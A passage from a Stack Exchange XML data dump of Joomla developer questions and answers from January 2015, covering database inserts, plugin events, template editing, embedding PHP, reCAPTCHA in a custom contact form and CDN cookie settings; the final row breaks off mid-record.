  <row Id="7076" PostTypeId="2" ParentId="7075" CreationDate="2015-01-20T17:05:17.777" Score="1" Body="&lt;p&gt;All you need to do is write a database query. I would suggest importing the Joomla API and writing a Joomla styled query like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fullName     = $_POST['fullName'];&#xA;$emailAddress = $_POST['emailAddress'];&#xA;$worksInPub   = ($_POST['workInPub']==='true');&#xA;$isSupplier   = ($_POST['isSupplier']==='true');&#xA;$isOver18     = ($_POST['isOver18']==='true');&#xA;&#xA;$db = JFactory::getDbo();     &#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$columns = array('fullName', 'emailAddress', 'workInPub', 'isSupplier', 'isOver18');&#xA;$values = array($db-&amp;gt;quote($fullName), $db-&amp;gt;quote($emailAddress), $db-&amp;gt;quote($workInPub), $db-&amp;gt;quote($isSupplier), $db-&amp;gt;quote($isOver18));&#xA;&#xA;$query-&amp;gt;insert($db-&amp;gt;quoteName('#__rs_forms_table'))&#xA;      -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;      -&amp;gt;values(implode(',', $values));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have never used RSForms before so I don't know how the data for your forms is stored, so the above may be wrong. There may also be a few tweaks to make to the code, such as the database table name&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-20T17:05:17.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7077" PostTypeId="2" ParentId="7069" CreationDate="2015-01-20T17:46:08.277" Score="1" Body="&lt;p&gt;The best way might be to write a plugin and use the right events:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onExtensionAfterSave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onExtensionAfterSave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The context would be &lt;strong&gt;&quot;com_templates.style&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onExtensionAfterSave($context, &amp;amp;$templateTableStyle, $isNew = 0)&#xA;{&#xA;    if(com_templates.style == 'com_templates_style')&#xA;    {&#xA;        // do your work ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way might be to generate the images on-the-fly.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-01-20T17:46:08.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7078" PostTypeId="1" CreationDate="2015-01-20T18:31:16.327" Score="0" ViewCount="369" Body="&lt;p&gt;I've been asked to maintain a website that is built in Joomla, using a template from YOOTheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not used to it since I've never used Joomla. I usually do my stuff from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, can I simply access this website via FTP and edit all my styling and stuff from Source Code?&lt;/p&gt;&#xA;" OwnerUserId="3522" LastEditorUserId="1629" LastEditDate="2015-01-20T19:12:10.253" LastActivityDate="2015-01-20T19:33:10.920" Title="Edit template from source code" Tags="|templates|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7079" PostTypeId="2" ParentId="7078" CreationDate="2015-01-20T18:47:29.417" Score="0" Body="&lt;p&gt;Yea of course. I tend to use Filezilla for ftp and NetBeans as an IDE. YooTheme will have loads of tutorials online also.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-01-20T18:47:29.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7080" PostTypeId="2" ParentId="7064" CreationDate="2015-01-20T19:05:11.277" Score="2" Body="&lt;p&gt;You can also define a new module chrome, or alter the existing with an override of the default module output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/YOUR_TEMPLATE/html/modules.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will affect the rendering of all modules that use that chrome (which is defined in index.php with each module position). However, you will find that you might still need to override certain modules because they render out the module class more than once, as you have already discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created overrides for both modules.php and com_custom for &lt;a href=&quot;http://joomlafuture.com/&quot; rel=&quot;nofollow&quot;&gt;my Oneweb Joomla template&lt;/a&gt; which you may find useful. You can find the files here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nternetinspired/OneWeb/tree/master/html&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nternetinspired/OneWeb/tree/master/html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-20T19:05:11.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7081" PostTypeId="2" ParentId="4998" CreationDate="2015-01-20T19:07:05.167" Score="0" Body="&lt;p&gt;Joomla 3 already includes microformats for core components like com_content, you don't need to do anything to add them.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-01-20T19:07:05.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7082" PostTypeId="2" ParentId="7078" CreationDate="2015-01-20T19:33:10.920" Score="2" Body="&lt;p&gt;I would recommend doing a little research on how Joomla works. &lt;a href=&quot;https://docs.joomla.org/Portal:Beginners&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; might be a place to begin, and other resources can be found &lt;a href=&quot;https://docs.joomla.org/Tutorials:Beginners&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. A Google search might also give you some answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you manage a Joomla site through the admin area (&lt;a href=&quot;http://example.com/administrator&quot; rel=&quot;nofollow&quot;&gt;http://example.com/administrator&lt;/a&gt;), and if you have Joomla 3.x or above you can also edit the template from the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you can usually make adjustments to the template from the Joomla template manager (&lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Template Manager&lt;/strong&gt; -&gt; select the name of your active template). Depending on your template, you should be able to change colors, logo, and other parameters there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can absolutely edit files through FTP, but it's highly recommended to avoid editing core files (both Joomla and extensions), as these might be overridden if you update Joomla (and you should ALWAYS keep Joomla up to date). You can edit your template files, and if you need other modifications to Joomla or some of your extensions you can use a &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;template overrides&lt;/a&gt;. This is basically a way of adding &lt;code&gt;.php&lt;/code&gt; files to your template folder that will be used by Joomla instead of the core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're stuck with anything, or have a questions, you're more than welcome to ask your questions here, and you'll almost certainly get answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck :)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-20T19:33:10.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7083" PostTypeId="1" AcceptedAnswerId="7084" CreationDate="2015-01-20T20:39:29.143" Score="0" ViewCount="1326" Body="&lt;p&gt;I have mobile unlock code remote api which allows user to search for mobile unlock code using dropdown, so I want to attach it to my existing Joomla website. It uses curl to address the remote server so I have no idea how to add it to Joomla so that I can make a dropdown device selection and show unlock codes through remote server API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am totally beginner in this so I want to know how to attach it, as it is a php file with json parsing. I will provide any relevant information about my API and Joomla website.&lt;/p&gt;&#xA;" OwnerUserId="1827" LastEditorUserId="1629" LastEditDate="2015-01-20T21:06:13.527" LastActivityDate="2015-01-20T21:06:13.527" Title="Connecting API with Joomla 3 using PHP" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7084" PostTypeId="2" ParentId="7083" CreationDate="2015-01-20T21:03:48.843" Score="2" Body="&lt;p&gt;You can add PHP code to Joomla in several ways.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://extensions.joomla.org/profile/extension/core-enhancements/coding-a-scripts-integration/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inside articles&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://extensions.joomla.org/profile/extension/core-enhancements/coding-a-scripts-integration/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer from NoNumber&lt;/a&gt;, you can add PHP code directly inside your content editor (Tinymce). This works inside any article, or inside a Custom HTML module (if you enable &quot;Prepare content&quot; from the &lt;strong&gt;Advanced&lt;/strong&gt; tab in your module). Simply wrap your PHP code inside &lt;code&gt;{sourcerer}{/sourcerer}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;    echo 'This text is placed through &amp;lt;strong&amp;gt;PHP&amp;lt;/strong&amp;gt;!';&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Flexi Custom Code module&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;This module&lt;/a&gt; allows you to add any code (Javascript, HTML, PHP etc), and publish it to any module position. Simply paste your PHP code inside the module, set module position and menu item assignment, and save. You can also load the module inside an article using &lt;code&gt;{loadposition yourmouduleposition}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Custom Plugin or Module&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another option is to build your own module or plugin. It's not as hard as it might sound, and the possibilities are endless. Here's a couple of resources to get you started:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin development tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Module development tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extstore.com/tools/plugin-creator&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin generator&lt;/a&gt; (create an empty plugin to get you started)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joomjunk.co.uk/extras-page/module-generator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Module generator&lt;/a&gt; (create an empty module to get you started)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(The module generator is created by &lt;a href=&quot;https://joomla.stackexchange.com/users/168/lodder&quot;&gt;@Lodder&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-01-20T21:03:48.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7085" PostTypeId="1" AcceptedAnswerId="7107" CreationDate="2015-01-20T23:42:26.630" Score="1" ViewCount="871" Body="&lt;p&gt;I tried to use the method from &lt;a href=&quot;https://stackoverflow.com/questions/12840015/how-to-use-joomla-recaptcha-plugin-to-my-custom-module&quot;&gt;this question&lt;/a&gt;, but it didn't work for me. &#xA;I always get this error after submiting form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Cannot use object of type JInput as array in contact.php line 76...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Line 76 looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$res = $dispatcher-&amp;gt;trigger('onCheckAnswer',$post['recaptcha_response_field']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My contact form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;contact&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php&#xA;    echo JURI::root() ?&amp;gt;modules/module/tmpl/form/contact.php&quot; name=&quot;contactform&quot; id=&quot;contactform&quot;&amp;gt;&#xA;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;&#xA;            &amp;lt;input name=&quot;name&quot; type=&quot;text&quot; id=&quot;name&quot; size=&quot;30&quot; value=&quot;&quot; placeholder=&quot;&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactname'); ?&amp;gt;&quot; onfocus=&quot;this.placeholder = ''&quot; onblur=&quot;this.placeholder = '&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactname'); ?&amp;gt;'&quot;/&amp;gt;&#xA;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;input name=&quot;email&quot; type=&quot;text&quot; id=&quot;email&quot; size=&quot;30&quot; value=&quot;&quot; placeholder=&quot;&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactmail'); ?&amp;gt;&quot; onfocus=&quot;this.placeholder = ''&quot; onblur=&quot;this.placeholder = '&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactmail'); ?&amp;gt;'&quot;/&amp;gt;&#xA;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;input name=&quot;subject&quot; type=&quot;text&quot; id=&quot;subject&quot; size=&quot;30&quot; value=&quot;&quot; placeholder=&quot;&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactsubject'); ?&amp;gt;&quot; onfocus=&quot;this.placeholder = ''&quot; onblur=&quot;this.placeholder = '&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactsubject'); ?&amp;gt;'&quot;/&amp;gt;&#xA;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;textarea style=&quot;width: 275px;&quot; name=&quot;comments&quot; cols=&quot;40&quot; rows=&quot;3&quot; id=&quot;comments&quot; style=&quot;width: 350px;&quot; placeholder=&quot;&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactcomment'); ?&amp;gt;&quot; onfocus=&quot;this.placeholder = ''&quot; onblur=&quot;this.placeholder = '&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactcomment'); ?&amp;gt;'&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;br /&amp;gt; &#xA;            &amp;lt;?php&#xA;                JPluginHelper::importPlugin('captcha');&#xA;                $dispatcher = JDispatcher::getInstance();&#xA;                $dispatcher-&amp;gt;trigger('onInit','recaptcha');&#xA;&#xA;            ?&amp;gt;&#xA;            &amp;lt;div id=&quot;recaptcha&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; id=&quot;submit&quot; value=&quot;&amp;lt;?php&#xA;    echo $params-&amp;gt;get('contactbutton'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;&#xA;            &amp;lt;/form&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contact.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__)).&quot;/../../../..&quot;);&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$user = JFactory::getUser();&#xA;$session = JFactory::getSession();&#xA;jimport( 'joomla.application.module.helper' );&#xA;&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT params FROM #__modules WHERE module = 'module'&quot;);&#xA;$module = $db-&amp;gt;loadObject();&#xA;$moduleParams = new JRegistry();&#xA;$moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;&#xA;&#xA;if(!$_POST) exit;&#xA;&#xA;function isEmail($email) {&#xA;    return(preg_match(&quot;/^[-_.[:alnum:]]+@((([[:alnum:]]|[[:alnum:]][[:alnum:]-]*[[:alnum:]])\.)+(ad|ae|aero|af|ag|ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)$|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i&quot;,$email));&#xA;}&#xA;&#xA;if (!defined(&quot;PHP_EOL&quot;)) define(&quot;PHP_EOL&quot;, &quot;\r\n&quot;);&#xA;&#xA;$name     = $_POST['name'];&#xA;$email    = $_POST['email'];&#xA;$subject  = $_POST['subject'];&#xA;$comments = $_POST['comments'];&#xA;&#xA;$address = $moduleParams-&amp;gt;get('contactemail');&#xA;$contactsent = $moduleParams-&amp;gt;get('contactsent');&#xA;$contactthanks = $moduleParams-&amp;gt;get('contactthanks');&#xA;$contactmsgsubmitted = $moduleParams-&amp;gt;get('contactmsgsubmitted');&#xA;$errorname = $moduleParams-&amp;gt;get('errorname');&#xA;$erroremail = $moduleParams-&amp;gt;get('erroremail');&#xA;$erroremailinvalid = $moduleParams-&amp;gt;get('erroremailinvalid');&#xA;$errorsubject = $moduleParams-&amp;gt;get('errorsubject');&#xA;$errorcomments = $moduleParams-&amp;gt;get('errorcomments');&#xA;$errorcaptcha = $moduleParams-&amp;gt;get('errorcaptcha');&#xA;$errorcaptchainvalid = $moduleParams-&amp;gt;get('errorcaptchainvalid');&#xA;&#xA;&#xA;if(trim($name) == '') {&#xA;    echo '&amp;lt;div class=&quot;error_message&quot;&amp;gt;' . $errorname . '&amp;lt;/div&amp;gt;';&#xA;    exit();&#xA;} else if(trim($email) == '') {&#xA;    echo '&amp;lt;div class=&quot;error_message&quot;&amp;gt;' . $erroremail . '&amp;lt;/div&amp;gt;';&#xA;    exit();&#xA;} else if(!isEmail($email)) {&#xA;    echo '&amp;lt;div class=&quot;error_message&quot;&amp;gt;' . $erroremailinvalid . '&amp;lt;/div&amp;gt;';&#xA;    exit();&#xA;}&#xA;&#xA;if(trim($subject) == '') {&#xA;    echo '&amp;lt;div class=&quot;error_message&quot;&amp;gt;' . $errorsubject . '&amp;lt;/div&amp;gt;';&#xA;    exit();&#xA;} else if(trim($comments) == '') {&#xA;    echo '&amp;lt;div class=&quot;error_message&quot;&amp;gt;' . $errorcomments . '&amp;lt;/div&amp;gt;';&#xA;    exit();&#xA;}&#xA;&#xA;$post = JFactory::getApplication()-&amp;gt;input-&amp;gt;post;&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;JPluginHelper::importPlugin('captcha');&#xA;$res = $dispatcher-&amp;gt;trigger('onCheckAnswer',$post['recaptcha_response_field']);&#xA;if(!$res[0]){&#xA;    die('&amp;lt;div class=&quot;error_message&quot;&amp;gt;' . $errorcomments . '&amp;lt;/div&amp;gt;');&#xA;}&#xA;&#xA;&#xA;if(get_magic_quotes_gpc()) {&#xA;    $comments = stripslashes($comments);&#xA;}&#xA;&#xA;$e_subject = 'You\'ve been contacted by ' . $name . '.';&#xA;&#xA;$e_body = &quot;You have been contacted by $name with regards to $subject, their additional message is as follows.&quot; . PHP_EOL . PHP_EOL;&#xA;$e_content = &quot;\&quot;$comments\&quot;&quot; . PHP_EOL . PHP_EOL;&#xA;$e_reply = &quot;You can contact $name via email, $email&quot;;&#xA;&#xA;$msg = wordwrap( $e_body . $e_content . $e_reply, 70 );&#xA;&#xA;$headers = &quot;From: $email&quot; . PHP_EOL;&#xA;$headers .= &quot;Reply-To: $email&quot; . PHP_EOL;&#xA;$headers .= &quot;MIME-Version: 1.0&quot; . PHP_EOL;&#xA;$headers .= &quot;Content-type: text/plain; charset=utf-8&quot; . PHP_EOL;&#xA;$headers .= &quot;Content-Transfer-Encoding: quoted-printable&quot; . PHP_EOL;&#xA;&#xA;if(mail($address, $e_subject, $msg, $headers)) {&#xA;&#xA;    echo &quot;&amp;lt;fieldset&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;div id='success_page'&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt; $contactsent &amp;lt;/h1&amp;gt;&quot;;&#xA;    echo &quot;$contactthanks &amp;lt;strong&amp;gt;$name&amp;lt;/strong&amp;gt;, $contactmsgsubmitted&amp;lt;/center&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;/fieldset&amp;gt;&quot;;&#xA;&#xA;} else {&#xA;&#xA;    echo 'ERROR!';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3524" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-02-20T15:30:51.233" Title="How to add recaptcha to contact form" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7086" PostTypeId="1" AcceptedAnswerId="7124" CreationDate="2015-01-21T03:22:26.090" Score="2" ViewCount="3523" Body="&lt;p&gt;Try something like that: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates-&amp;gt;shaper_helix_ii-&amp;gt;index.php &#xA;&#xA;-&amp;gt;addLess('master', 'template')&#xA;-&amp;gt;addcss('demo', 'template')&#xA;-&amp;gt;addLess( 'presets',  'presets/'.$this-&amp;gt;helix-&amp;gt;Preset() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong this code. i can't understand. &lt;/p&gt;&#xA;" OwnerUserId="1984" LastActivityDate="2015-01-22T07:04:17.657" Title="How to add external CSS or JS file on joomla Helix framework" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7087" PostTypeId="2" ParentId="5867" CreationDate="2015-01-21T04:59:50.160" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.siteground.com/tutorials/supercacher/joomla_memcached.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.siteground.com/tutorials/supercacher/joomla_memcached.htm&lt;/a&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/1260258/how-to-use-memcached-with-joomla&quot;&gt;https://stackoverflow.com/questions/1260258/how-to-use-memcached-with-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;those are good reference to start with ;)&#xA;Basically your configuration have some mistakes on it.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-21T04:59:50.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7088" PostTypeId="2" ParentId="7086" CreationDate="2015-01-21T05:03:58.103" Score="2" Body="&lt;p&gt;I suggest using a module instead of inserting it on a template since template updates usually will break your previous changes. &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/flexi-custom-code&lt;/a&gt; that module will do the trick for you.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2015-01-21T05:03:58.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7089" PostTypeId="1" AcceptedAnswerId="7091" CreationDate="2015-01-21T06:21:24.300" Score="1" ViewCount="951" Body="&lt;p&gt;I'm trying to get the category id's of a site listing multiple featured articles.&#xA;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('catid');&lt;/code&gt; works fine if the site contains just an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something similar for featured articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3528" LastActivityDate="2015-01-21T07:57:41.487" Title="Get category-ID of overview of featured articles" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7091" PostTypeId="2" ParentId="7089" CreationDate="2015-01-21T07:57:41.487" Score="2" Body="&lt;p&gt;You will not get it from the input, because the categories are not set into the request for featured view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is to use the parameters of active menu item to retrieve them. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$activeMenu = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$categories = $activeMenu-&amp;gt;params-&amp;gt;get('featured_categories');&#xA;var_dump($categories);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is an array with categories ids:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(2) &#xA;{ &#xA;    [0]=&amp;gt; string(2) &quot;19&quot; &#xA;    [1]=&amp;gt; string(2) &quot;20&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-21T07:57:41.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7092" PostTypeId="2" ParentId="7037" CreationDate="2015-01-21T08:50:56.273" Score="3" Body="&lt;p&gt;The files should be owned by your FTP user, which may be root for you if you are setting up a dedicated server manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire goal of the article was to allow you to still be able to change the files, with &quot;you&quot; in this case expected to be someone accessing a shared host over FTP. You're not expected to have root access to the server.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-21T08:50:56.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7094" PostTypeId="1" CreationDate="2015-01-21T09:15:38.230" Score="1" ViewCount="1054" Body="&lt;p&gt;I have a website: mydomain.com and a cdn subdomain cdn.mydomain.com .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using it as a Content Delivery Network but I am also using Cloudflare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created the subdomain in my cPanel with the following record: cdn.mydomain.com CNAME mydomain.com (TTL 14400)&lt;/li&gt;&#xA;&lt;li&gt;Went to Cloudflare DNS, deleted the A record for cdn.mydomain.com and replaced with a CNAME record (the same of cPanel) 3) I setted a Plugin for Joomla so the content is now served by cdn.mydomain.com and this works.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, I would like to know how to do two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set cdn.mydomain.com as a Cookieless Domain. I tried setting the cookie domain as mydomain.com in the Joomla Backend but this causes login problems (Invalid Token and similiar ones)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure cdn.mydomain.com is not vieweable by users and, mostly important, Google Bot. Is there a way to do this in my robots.txt file, maybe..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="324" LastEditDate="2015-01-21T10:46:02.120" LastActivityDate="2015-01-21T10:46:02.120" 